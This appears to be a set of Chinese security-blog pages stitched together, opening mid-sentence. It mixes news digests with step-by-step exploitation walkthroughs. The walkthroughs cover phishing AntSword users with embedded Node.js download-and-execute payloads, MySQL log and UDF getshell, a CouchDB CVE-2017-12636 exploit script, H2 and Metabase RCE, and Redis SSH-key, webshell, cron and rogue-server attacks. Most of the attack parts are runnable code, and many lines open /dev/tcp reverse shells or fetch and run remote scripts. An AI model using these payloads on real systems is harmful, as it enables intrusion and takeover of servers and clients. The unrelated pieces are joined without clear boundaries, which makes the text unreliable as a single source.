家商店。这些商店由 29 个消费者协会的 350 万会员共同拥有。企业中创造的所有盈余都会返回给会员或重新投资于企业，从而形成循环。Cactus勒索软件组织声称已经入侵了 Coop，并威胁要披露大量个人信息，包括超过 21000 个目录。Cactus 勒索软件组织将 Coop 添加到其 T 6、2023 年出现 21 个新的 Mac 恶意软件家族 https://www.securityweek.com/21-new-mac-malware-families-emerged-in-2023/ 2023 年总共发现了 21 个针对 macOS 系统的新恶意软件家族，比 2022 年增加了 50%。 7、网络犯罪分子利用人工智能 (AI) 进行发票欺诈 https://securityaffairs.com/156863/cyber-crime/artificial-intelligence-tool-for-invoice-fraud.html Crooks 创建了一种新工具，该工具使用人工智能 (AI) 创建用于电汇欺诈和 BEC 的欺诈发票。 8、高通芯片漏洞可通过语音通话进行远程攻击 https://www.scmagazine.com/news/qualcomm-chip-vulnerability-enables-remote-attack-by-voice-call 高通公司宣布存在一个严重漏洞，该漏洞可能导致使用其芯片组的设备受到远程攻击。该漏洞编号为 CVE-2023-33025，涉及 VoLTE 通话期间的缓冲区溢出，允许攻击者远程执行代码。 9、《未成年人网络保护条例》2024年1月1日起施行 http://www.news.cn/politics/20240101/3a9b5ca671004d0d8af40e00378c8433/c.html 《未成年人网络保护条例》自2024年1月1日起正式施行，作为我国首部专门性的未成年人网络保护综合立法，这部条例的施行标志着我国未成年人网络保护法治建设进入新阶段。 10、中国抗量子密码战略与政策法律工作组成立 http://www.anquan419.com/knews/24/6497.html 据介绍，工作组将对抗量子密码技术、产业、业务的现状和相关国内外政策、法律法规进行研究，以公开或定向方式发表抗量子密码相关蓝皮书、要报、专题研究报告等成果，推动形成中国抗量子密码共识和行动方案。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

前言 中国蚁剑使用Electron构建客户端软件，Electron实现上用的是Node.js，并且Node.js能执行系统命令，故可以利用蚁剑的webshell页面嵌入js来直接执行命令，进而钓鱼来上线CS。（类似Goby，Goby也是使用Electron构建客户端软件） 关键实现 蚁剑在虚拟终端时，页面上出现http/https协议头时会发生转换（字体会变蓝，表示处于超链接的状态），并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的（最新版本修复后使用用户自带的浏览器打开），因此这便是我们利用页面执行Node.js来上线CS的好机会！ 反制复现 环境准备： 想要执行系统命令需要借助页面的加载，此时可以制造假的webshell来故意让红队连接，进而一步步引导红队点击恶意链接调用node.js进行命令执行，上钩。 影响的版本：AntSword < =v2.1.14 AntSword下载：https://github.com/AntSwordProject/antSword/releases 开源假webshell：https://github.com/MD-SEC/Anti_AntSword 1、蓝队故意在服务器放置假的webshell进行钓鱼 达到真实的效果可以添加一些提示信息，让红队上钩 <body> AntSword password admin </body> </html> 红队需要让其点击的恶意链接（利用蚁剑自带的帮助文档效果最佳） 在钓鱼的帮助文档的开头插入恶意payload，这里利用powershell一句话上线 <script type="text/javascript"> require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); }); </script> 或者下载文件方式上线CS </script> <script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script> 注：payload一定要放开头，放后面可能由于html过大导致命令执行失败 可以自行编写攻击者点击钓鱼链接时的话术 2、红队开始利用蚁剑进行连接 模拟红队的文件浏览页面 模拟红队的命令行操作回显 3、开始钓鱼引诱红队 当红队输入没有提前在webshell模拟的命令时，就会回显一开始我们设置的钓鱼话术，引导攻击者点击恶意链接 红队点击恶意链接，出现正常的帮助文档 将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下 帮助文档由蚁剑内部的浏览器进行解析，该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行，然后上线CS 修复建议 1、升级至 AntSword v2.1.15版本 2、加载链接时候禁止使用内部浏览器打开，使用用户系统的浏览器打开 最后 此蚁剑反制虽然是一个之前曝光的漏洞了，但是基数上还是会有人在使用着存在漏洞的蚁剑版本，对于红队来说能白嫖webshell还是很诱惑的，可玩性也很高。

MySQL 0x01mysql学习 MySQL 是瑞典的MySQLAB公司开发的一个可用于各种流行操作系统平台的关系数据库系统，它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用，用的人数很多。 0x02环境搭建 这里演示用，phpstudy搭建的环境，然后安装phpmyadmin 0x03漏洞复现 日志文件包含getshell 利用前提 知道网站路径，mysql版本大于5.0 利用条件 需要可读可写的权限，也就是高权限账号 所用到的命令 show variables like '%general%'; 查看日志读写功能 SET GLOBAL general_log='on'；开启日志读写功能 select @@basedir； 查看mysql所在的绝对路径 SHOW VARIABLES LIKE"secure_file_priv";如果值为文件夹目录，则只允许修改目录下的文件，如果值为NULL则为禁止。 SET GLOBALgeneral_log_file='C:/phpstudy_pro/WWW/shell.php';修改日志文件路径 修改设置，该为开启，这样才能继续利用。 再次查询，可以发现已经发生了改变 访问验证 select '<?php eval($_POST["a"]);?>'; 总结，如果SHOW VARIABLES LIKE"secure_file_priv";为NULL则没办法使用into outfile写文件，那么可以开启日志，修改日志文件路径和文件名为php，然后执行一个带有一句话的查询语句，完成getshell。 mysql udf提权 这里使用win10 +phpstudy，直接下个msyql就行了 udf提权是mysql的一种常见的提权方式。 什么是udf？ udf可以理解为用户自定义函数，可以用udf增加一些函数，在mysql里就能用这个函数了。 提权前提 获取mysql的控制权限。 mysql具有写入权限，即secure_file_priv的值为空。 show global variables like'%secure%';用这个查询 提权背景 拿到了mysql权限，没拿到服务器权限，可以通过mysql提权使其达到拿到服务器的权限 提权实验 实验版本mysql 5.5 操作系统win10 需要udf文件，可以从sqlmap里获取或者msf中获取。 这里可以直接用国光师傅的写好udf16进制 https://www.sqlsec.com/tools/udf.htmlshow global variables like'%secure%'; 如果不是空的话可以这样修改，这个需要在mysql目录下的ini文件进行修改或者添加。 secure_file_priv=''然后重启服务。 如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。 这里我自己在目录下创建一个，也可以用NTFSADS方法创建目录，但有可能不成功。 http://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/show-variables.htmlhttp://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman/5.5/en/show-variables.htmlhttp://192.168.48.137/phpMyAdmin4.8.5/url.php?url=https://dev.mysql.com/doc/refman 查询发现已经有了，然后进行文件写入。 路径D:phpstudy_proExtensionsMySQL5.5.29libplugin 如果有Can't open shared library 'udf.dll'，切换成32位试试。 实战中不成功，可以轮流尝试。 创建自定义函数并且调用命令 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; select sys_eval('whoami'); select sys_eval('dir'); 发现已经成功并且是Administrator权限 couchdb数据库 漏洞介绍 ApacheCouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，CreditSuisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）。在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露利用 漏洞复现 CVE-2017-12635 PUT发包创建用户 选择内网映射端口为5984的抓包访问 http://192.168.48.133:54944/_utils/#login这个为登陆应用 发包目的是增加用户，可以用bp或者postman PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 110 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" } 成功添加用户 CVE-2017-12636 CVE-2017-12636 exp 命令执行 import requests import json import base64 from requests.auth import HTTPBasicAuth target = 'http://your-ip:5984' command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1""" version = 1 session = requests.session() session.headers = { 'Content-Type': 'application/json' } # session.proxies = { # 'http': 'http://127.0.0.1:8085' # } session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun" }''') session.auth = HTTPBasicAuth('wooyun', 'wooyun') command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode() if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command)) else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command)) session.put(target + '/wooyun') session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}') if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}') else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}') h2database数据库 H2 是一个开源的嵌入式数据库引擎，纯 java实现的关系型数据库，不受平台的限制。 未授权访问 发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE; 在JDBC URL输入这个语句点击connect即可未授权访问 RCE姿势 在VPS里面创建个sql文件，然后远程加载利用服务。 re_shell.sql CREATE TABLE test ( id INT NOT NULL ); CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");'; bash -i >& /dev/tcp/ip/7888 0>&1 远程加载姿势如下，填入python启动的ip和端口 jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://IP:port/re_shell.sql'; mongodb数据库 大致介绍一下 MongoDB是一个基于分布式文件存储的数据库 由C++语言编写，旨在为WEB应用提供可扩展的高性能数据存储解决方案。 未授权访问漏洞 可以用msf检测 search mongodb 存在未授权访问漏洞 可以利用mongodb连接工具直接连接 metabase数据库分析 metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具 Metabase geojson任意文件读取漏洞 （CVE-2021-41277） payload /api/geojson?url=file:/etc/passwd Metabase 远程代码执行漏洞（CVE-2023-38646） Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞，可导致攻击者在服务器上以运行 Metabase服务器的权限执行任意代码。 这里使用vulhub的docker环境，vulfocus可能有问题没复现成功 GET访问 /api/session/properties exp POST /api/setup/validate HTTP/1.1 Host: your-ip Content-Type: application/json { "token": "token值", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$--=x", "advanced-options": false, "ssl": true }, "name": "test", "engine": "h2" } } 验证一下 python启动一个http服务，然后exec执行curl ip:8899/1.txt python3 -m http.server 8899 验证成功 尝试反弹shell 未能成功反弹shell，利用其他方法进行反弹shell，可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell 创建个re_shell.sh，内容如下 !/bin/sh bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1' 执行 wget http://ip:port/re_shell.sh 执行 /bin/bash /tmp/re_shell.sh 成功反弹shell

1、DLL搜索顺序劫持新变体可绕过Win10和11系统保护 https://www.securityjoes.com/post/hide-and-seek-in-windows-closet-unmasking-the-winsxs-hijacking-hideout 安全研究人员详细介绍了动态链接库 ( DLL ) 搜索顺序劫持技术的新变体，威胁行为者可以利用该技术绕过安全机制并在运行 Microsoft Windows 10 和 Windows 11 的系统上执行恶意代码。该方法“利用受信任的 WinSxS 文件夹中常见的可执行文件，并通过经典的 DLL 搜索顺序劫持技术来利用它们” 。通过这样做，它允许攻击者在尝试在受感染的计算机上运行恶意代码 2、Terrapin新漏洞可能会降低SSH协议的安全性 https://terrapin-attack.com/ 波鸿鲁尔大学的安全研究人员发现了 Secure Shell ( SSH ) 加密网络协议中的一个漏洞，该漏洞可能允许攻击者通过破坏安全通道的完整性来降低连接的安全性。该漏洞被称为Terrapin（CVE-2023-48795，CVSS 评分：5.9），被描述为“有史以来第一个实际上可利用的前缀截断攻击”。SSH 是一种通过不安全的网络安全地向计算机发送命令的方法。它依靠加密技术来验证和加密设备之间的连接。这是通过握手来实现的，其中客户端和服务器就加密原语达成一致，并交换建立可提供机密性和完整性保证的安全通道所需的密钥。 3、公积金组织EPFO警告针对公积金账户的欺诈活动持续增长 https://www.cysecurity.news/2024/01/a-crucial-update-from-epfo-regarding.html 负责管理员工工资扣除的员工公积金组织 (EPFO) 已向其 6.5 亿成员发出关于网络犯罪威胁不断升级的警告。EPFO 发现与公积金 (PF) 账户相关的欺诈活动显着增加。诈骗者通过电话和短信冒充 EPFO 官员，欺骗个人泄露敏感的个人信息，使他们容易遭受各种形式的欺诈。为了应对这种日益严重的担忧，EPFO 敦促其成员保持高度警惕。EPFO 在监督雇员退休基金方面发挥着关键作用，雇主和雇员均向该基金缴款。雇员的 EPF 账户下的基本工资被 4、施乐公司遭INC RANSOM勒索软件攻击 https://securityaffairs.com/156679/cyber-crime/inc-ransom-ransomware-xerox-corp.html INC RANSOM 勒索软件组织声称对美国跨国公司施乐公司进行了黑客攻击。施乐公司在全球范围内提供文档管理解决方案。该公司的文档技术部门提供桌面单色和彩色打印机、多功能打印机、复印机、数字印刷机和轻型生产设备；以及用于图形通信市场和大型企业的生产印刷和出版系统。INC RANSOM 勒索软件组织声称对攻击美国跨国公司施乐公司负责，并威胁要披露涉嫌被盗的数据。INC 勒索组织将 Xerox 添加到其 Tor 泄露网站的受害者 5、TuneFab因错误配置而暴露其用户私人数据 https://securityaffairs.com/156659/security/spotify-music-converter-tunefab-data-leak.html TuneFab 转换器用于转换来自 Spotify、亚马逊 Audible 或 Apple Music 等流媒体平台的受版权保护的音乐，该转换器已暴露其用户的私人数据。该平台已暴露超过 1.51 亿条解析记录，其中包括用户的 IP 地址、用户区域、用户 ID、电子邮件和设备信息。此次泄露是由于 MongoDB（一个面向文档的数据库平台）的错误配置造成的，导致 TuneFab 的数据无密码且可公开访问。私人数据泄露 6、Black Basta 勒索软件免费解密器发布 https://www.securityweek.com/free-decryptor-released-for-black-basta-ransomware/ Black Basta 勒索软件加密算法中的漏洞允许研究人员创建免费解密器。 7、谷歌“隐身模式”追踪用户隐私诉讼达成和解赔偿50 亿美元 https://www.securityweek.com/google-settles-5-billion-privacy-lawsuit-over-tracking-people-using-incognito-mode/ 谷歌同意就一项价值 50 亿美元的隐私诉讼达成和解，该诉讼声称该公司继续监视在 Chrome 浏览器中使用“隐身”模式的用户。 8、伊朗多个组织遭到神秘黑客攻击 https://securityaffairs.com/156761/hacking/multiple-organizations-iran-hacked.html Hudson 研究人员报告称，12 月 20 日，一名名为“irleaks”的黑客宣布出售据称从伊朗 23 家领先保险公司窃取的超过 1.6 亿条记录。黑客声称，被盗数据包括名字、姓氏、出生日期、父亲姓名、电话号码、手机号码、国家代码、公司国家代码等。黑客还分享了数据样本，售价 60,000 美元。12 月 30 日，irleaks 还声称入侵了伊朗最大的外卖平台 SnapFood，窃取了 3 TB 数据。 9、Zeppelin2 勒索软件生成器在暗网上出售 https://thecyberexpress.com/zeppelin2-ransomware/ 地下论坛上的一名用户正在推销 Zeppelin2 勒索软件，提供其源代码和其构建工具的破解版本。Zeppelin2 自 2019 年以来一直使用，针对包括医疗保健和技术在内的各个领域。 10、谷歌OAuth验证系统曝零日漏洞，可被黑客用于账户劫持 https://www.freebuf.com/news/388434.html 近日，有多个窃取信息的恶意软件家族正在滥用一个未记录的名为 "MultiLogin "的谷歌 OAuth 端点恢复过期的身份验证 cookie 。通过这种方式黑客可以获取到用户账户信息，即使账户密码已被重置仍能成功登陆。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

Redis 0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识，那么什么是redis？redis就是个数据库，常见端口为6379，常见漏洞为未授权访问。 0x02 环境搭建 这里可以自己搭建一个redis环境，也可以用vulfocus搭建一个环境，可以两个都搭建，因为一些攻击手法，需要自己搭建的环境才能成功。 ubuntu 20.04+docker docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=127.0.0.1 vulfocus/vulfocus 建议vulfocus最好搭建在云服务器上，本机搭建的有的环境可能会复现不成功。 0x03漏洞复现 Redis Lua沙盒绕过 命令执行 CVE-2022-0543 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意Lua功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数，即可获得io库，再使用其执行命令 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意Lua 功能 我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数，即可获得io库，再使用其执行命令 代码如下 local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res payload如下 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 漏洞复现 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0 这里可以用another redis 这个个管理工具，方便redis数据库使用 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("find / -name flag*", "r"); local res = f:read("*a"); f:close(); return res' 0 未授权访问redis 未授权访问 （CNVD-2015-07557） 这个未授权访问存在很多，而且面试也很常问，实战也能遇见到。 攻击姿势常见有三种，1写入公钥，2写入webshell,3写入计划任务，当然其中有不少细节，我们需要去掌握。 1.linux写入公钥 利用前提 Redis服务使用ROOT账号启动，安全模式protected-mode处于关闭状态 允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器 ssh-keygen -t rsa cd /root/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt cat key.txt | redis-cli -h 目标IP -x set xxx 这里权限不够，这个是vulfocus有问题 满足条件的话可以直接这样，可以自己搭建一个redis环境做实验 具体搭建可参考 https://blog.csdn.net/qq_41210745/article/details/103305262yes要改成no 环境启动，接着 config set dir /root/.ssh/ config set dbfilename authorized_keys save cd /root/.ssh/ ssh -i id_rsa root@目标IP 已经成功写入 进入该ubuntu查看 cd /root/.ssh/ 尝试SSH连接 ssh -i id_rsa root@192.168.48.133 可以看到成功拿下 2.写入webshell 前提条件，有可写权限，存在web服务，知道web路径 继续用该环境下尝试webshell写入 命令如下 FLUSHALL 使用这个清空之前的配置 前提条件，web目录可以读写 config set dir /tmp 设置WEB写入目录 config set dbfilename test.php 设置写入文件名 set test "<?php phpinfo();?>" 设置写入文件代码 set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" 换行防止执行失败 bgsave 保存执行 save chmod -R 777 /var/www/html/ 这里设置html尝试写入webshell 3.写计划任务反弹shell FLUSHALL 记得清空配置 利用条件：Redis服务使用ROOT账号启动，安全模式protected-mode处于关闭状态 环境依然是上面的配置环境 config set dir /var/spool/cron set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口 0>&1\n\n\n" config set dbfilename x save set yy "nnn* * * * * bash -i >& /dev/tcp/192.168.48.133/9999 0>&1\n\n\n" 注意： centos会忽略乱码去执行格式正确的任务计划 而ubuntu并不会忽略这些乱码，所以导致命令执行失败 可以看到有乱码，ubuntu并未正常执行 主从复制利用 https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行 redis-rogue-serve python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325 --lhost 192.168.48.132 https://github.com/vulhub/redis-rogue-getshell这里记得要编译 cd RedisModulesSDK/ make python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132 -P 6666 -f RedisModulesSDK/exp.so -c "id" python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132 -P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*" 实际情况中我们可以灵活运用exp.so文件，不一定非得用脚本，比如这种情况 天翼杯 考点反序列化，redis主从复制RCE代码 <?php class a{ public $code = ""; function __call($method,$args){ eval($this->code); } // function __wakeup(){ // $this->code = ""; // } } class b{ function __destruct(){ echo $this->a->a(); } } $a=new A(); $b=new B(); $a->code="phpinfo();"; $b->a=$a; echo serialize($b); 构造POP链子，可以看到call魔术方法里面有eval函数，那么需要构造链子触发到call魔术方法。 call():当调用对象中不存在的方法会自动调用该方法wakeup()当使用unserialize()反序列化一个对象后，会自动调用该对象的__wakeup方法 这里destruct方法调用了一个不存在的a方法，那么会调用到call方法 因为wakeup方法中$this->code ="";还有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);这里有过滤，所以接下来要做到绕过wakeup和正则，这里利用wakeup的CVE和php对类名大小写不敏感的特性去绕过，A，B换成a,b，其中wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。 如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}} 这里无法执行system("ls"） 蚁剑连接$a->code="eval($_POST["a"]);"; 打开之后发现其泄露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上 使用EXP.so文件 MODULE LOAD /var/www/html/exp.so 然后就可以进行命令执行了 若有收获，就点个赞吧。